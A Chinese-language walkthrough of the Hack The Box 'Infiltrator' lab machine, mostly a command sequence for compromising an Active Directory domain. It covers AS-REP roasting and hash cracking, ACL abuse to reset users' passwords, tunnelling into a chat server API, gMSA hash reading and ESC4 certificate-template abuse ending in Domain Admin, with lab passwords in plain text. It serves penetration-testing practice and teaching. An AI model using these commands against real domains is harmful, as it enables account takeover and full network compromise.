Infiltrator(HTB Insane)

基本信息

  • IP:10.10.11.31
  • VPN:10.10.16.3
  • 域名:infiltrator.htb / dc01.infiltrator.htb

信息收集

vim /etc/hosts
rustscan -a 10.10.11.31 -- -sCTV
nmap -sC -sV -Pn -T4 10.10.11.31
53/tcp   open  domain
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Domain: infiltrator.htb
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http
636/tcp  open  ssl/ldap
3268/tcp open  ldap
3269/tcp open  ssl/ldap
3389/tcp open  ms-wbt-server
5985/tcp open  http
9389/tcp open  mc-nmf

RDP NTLM:DNS_Computer_Name: dc01.infiltrator.htb。HTTP / SMB 匿名没有直接利用点。网页人名:

curl -s http://infiltrator.htb | xmllint --html --xpath "//div/div/h4" -
David Anderson
Olivia Martinez
Kevin Turner
Amanda Walker
Marcus Harris
Lauren Clark
Ethan Rodriguez

Kerbrute 枚举,用户名用 . / _ / 缩写:

./kerbrute userenum -d "infiltrator.htb" ../../username.txt --dc "dc01.infiltrator.htb"

L.Clark 不需要 Kerberos 预认证(AS-REP Roast):

impacket-GetNPUsers infiltrator.htb/ -usersfile ../../username.txt -outputfile output.txt -dc-ip dc01.infiltrator.htb -no-pass
hashcat -m 18200 ./output.txt /usr/share/wordlists/rockyou.txt

密码:WAT?watismypass!

crackmapexec smb 10.10.11.31 -u username.txt -p 'WAT?watismypass!'

登录名要小写、不要邮箱格式。d.anderson、m.harris 返回 STATUS_ACCOUNT_RESTRICTION。

User

BloodHound:d.anderson 对 OU MARKETING DIGITAL 有 GenericAll。

bloodhound-python -d infiltrator.htb -u d.anderson -p 'WAT?watismypass!' -c all -ns 10.10.11.31 --zip
impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!' -dc-ip dc01.infiltrator.htb
export KRB5CCNAME=d.anderson.ccache
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' \
  -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip dc01.infiltrator.htb

改 e.rodriguez 密码,加入 Chiefs Marketing,再改 m.harris:

bloodyAD.py --host 'dc01.infiltrator.htb' -d 'infiltrator.htb' --kerberos --dc-ip 10.10.11.31 \
  -u 'd.anderson' -p 'WAT?watismypass!' set password 'e.rodriguez' 'QWEasd123@123'
bloodyAD.py --host 'dc01.infiltrator.htb' -d 'infiltrator.htb' --dc-ip 10.10.11.31 \
  -u e.rodriguez -k add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' e.rodriguez
bloodyAD.py --host 'dc01.infiltrator.htb' -d 'infiltrator.htb' --kerberos --dc-ip 10.10.11.31 \
  -u 'e.rodriguez' -p 'QWEasd123@123' set password 'm.harris' 'QWEasd123@123'
impacket-getTGT infiltrator.htb/m.harris:'QWEasd123@123' -dc-ip dc01.infiltrator.htb

配置 KDC,否则 evil-winrm 找不到 KDC:

[libdefaults]
    default_realm = INFILTRATOR.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true
[realms]
    INFILTRATOR.HTB = {
        kdc = dc01.infiltrator.htb
        admin_server = dc01.infiltrator.htb
    }
[domain_realm]
    .infiltrator.htb = INFILTRATOR.HTB
    infiltrator.htb = INFILTRATOR.HTB
evil-winrm -i dc01.infiltrator.htb -u m.harris -p 'QWEasd123@123'

拿到 user。机上有 Output Messenger(C:\Program Files\Output Messenger Server)。

Root

端口 14121–14125 用 chisel 转到 Kali。聊天记录里有 k.turner / MessengerApp@Pass!。winrm_svc 能进 Management 聊天;O.martinez 说密码只出现在 Chiefs_Marketing_chat。API-KEY 走 14125:

curl -s -H "API-KEY: <api_key>" http://127.0.0.1:14125/api/chatrooms
curl -s -H "API-KEY: <api_key>" "http://127.0.0.1:14125/api/chatrooms/Chiefs_Marketing_chat?fromdate=2024/02/01&todate=2024/09/01"

日历功能可落到 O.martinez 命令执行(每天 09:00 弹窗)。收件目录有 pcap,导出 BitLocker-backup.7z,并看到 new_auth_token=M@rtinez_P@ssw0rd!。该口令可 RDP、不能 WinRM:

nxc rdp infiltrator.htb -u o.martinez -p 'M@rtinez_P@ssw0rd!'
xfreerdp /u:INFILTRATOR.HTB\\o.martinez /p:'M@rtinez_P@ssw0rd!' /v:dc01.infiltrator.htb
7z2john BitLocker-backup.7z > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

7z 密码 zipper。解压后是 BitLocker 恢复密钥页。RDP 进系统后用恢复密钥解锁 E:。

E: 备份含 ntds.dit + SYSTEM。在线哈希多数过期,描述字段能挖到 lan_management 明文,该账户可读 infiltrator_svc$ 的 gMSA:

nxc ldap infiltrator.htb -u lan_management -p '<password>' --gmsa
certipy find -u 'infiltrator_svc$' -hashes <gmsa_hash> -dc-ip 10.10.11.31 -vulnerable -stdout

模板 Infiltrator_Template 存在 ESC4:

certipy template -u 'infiltrator_svc$' -hashes <gmsa_hash> -dc-ip 10.10.11.31 -template Infiltrator_Template -save-old
certipy req -u 'infiltrator_svc$' -hashes <gmsa_hash> -dc-ip 10.10.11.31 -ca infiltrator-DC01-CA -template Infiltrator_Template -upn [email protected]
certipy auth -pfx administrator.pfx -domain infiltrator.htb -dc-ip 10.10.11.31
evil-winrm -i dc01.infiltrator.htb -u Administrator -H <administrator_ntlm>

至此拿到 Domain Admin。